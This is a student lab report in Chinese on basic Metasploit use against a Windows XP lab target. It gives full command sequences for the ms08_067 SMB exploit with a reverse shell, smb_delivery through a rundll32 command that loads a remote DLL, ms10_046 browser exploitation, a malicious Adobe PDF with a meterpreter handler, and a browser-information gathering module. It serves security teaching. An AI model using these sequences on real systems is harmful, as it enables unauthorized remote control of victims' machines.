Exp5 MSF基础应用
1. 实践内容
1.1一个主动攻击实践，如ms08_067，smb_delivery（唯一）
1.2 一个针对浏览器的攻击，如ms10_046；
1.3 一个针对客户端的攻击，如Adobe；
1.4 成功应用任何一个辅助模块。gather/browser_info（唯一）
2.报告内容
一个主动攻击实践，如ms08_067，smb_delivery
（1）ms08_067
攻击机：Linux
靶机：Windows XP sp3
1.进入到/usr/share/metasploit-framework/modules/exploits/windows/smb路径下，查看可利用的漏洞
Linux的IP地址192.168.132.130
靶机IP地址192.168.132.131
2.
msf > use exploit/windows/smb/ms08_067_netapi//使用ms08_067漏洞
msf exploit(ms08_067_netapi) > show payloads//显示回连攻击载荷
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.132.130 //攻击机ip
msf exploit(ms08_067_netapi) > set LPORT 4301 //攻击端口
msf exploit(ms08_067_netapi) > set RHOST 172.30.4.19 //靶机ip
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型
msf exploit(ms08_067_netapi) > exploit //攻击
3.攻击成功，用systeminfo命令检测
（2）smb_delivery（唯一）
1.msf > use exploit/windows/smb/smb_delivery //使用smb_delivery漏洞
2.show options查看要设置的内容
3.通过Windows计算机中的rundll32.exe运行恶意代码以获取meterpreter会话
4.输入生成指令rundll32.exe \\192.168.132.130\Rrzqb\test.dll，0
5.攻击成功，获得meterpreter会话
一个针对浏览器的攻击，如ms10_046
1.使用ms10_046，查看需要设置的参数，SRVHOST填本地监听主机的IP地址，LHOST填监听的IP地址，攻击
生成一个URL：http://192.168.132.130:80/,在靶机的IE浏览器上使用该url进行访问,攻击成功
2.输入sessions查看连接
3.输入sessions -i 1，实现meterpreter会话
一个针对客户端的攻击，如Adobe
1.
在攻击机kali输入msfconsole进入控制台，依次输入
msf > use windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.132.130
msf exploit(adobe_cooltype_sing) > set LPORT 4301
msf exploit(adobe_cooltype_sing) > set FILENAME c.pdf
msf exploit(adobe_cooltype_sing) > exploit //攻击
成功生成c.pdf，传输到靶机
2.
退出当前模块，进入监听模块，输入以下命令：
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.132.130
msf exploit(handler) > set LPORT 4301
msf exploit(handler) > exploit
在靶机上点击传送的c.pdf
发现攻击成功，实现meterpreter会话
成功应用任何一个辅助模块。gather/browser_info（唯一）
1.使用gather/browser_info模块
输入show options命令，发现该模块是通过访问网站来搜集浏览器信息
2.按show options内容设置好参数后，生成URL：http://192.168.132.130:8080/SuLgGmvDz
3.在靶机浏览器上输入该地址
4.成功查找到信息
3.1.基础问题回答
用自己的话解释什么是exploit,payload,encode.
exploit，漏洞利用；payload，攻击载荷，系统被攻击后执行的操作；encode，对后门程序进行编码处理，实现免杀。
3.2.实践总结与体会
这次实验很简单，但做了很长时间。因为对msf应用和指令的不熟悉，尝试了很多攻击都失败了，但也让我对msf基础攻击的
具体操作方法有了进一步的认识。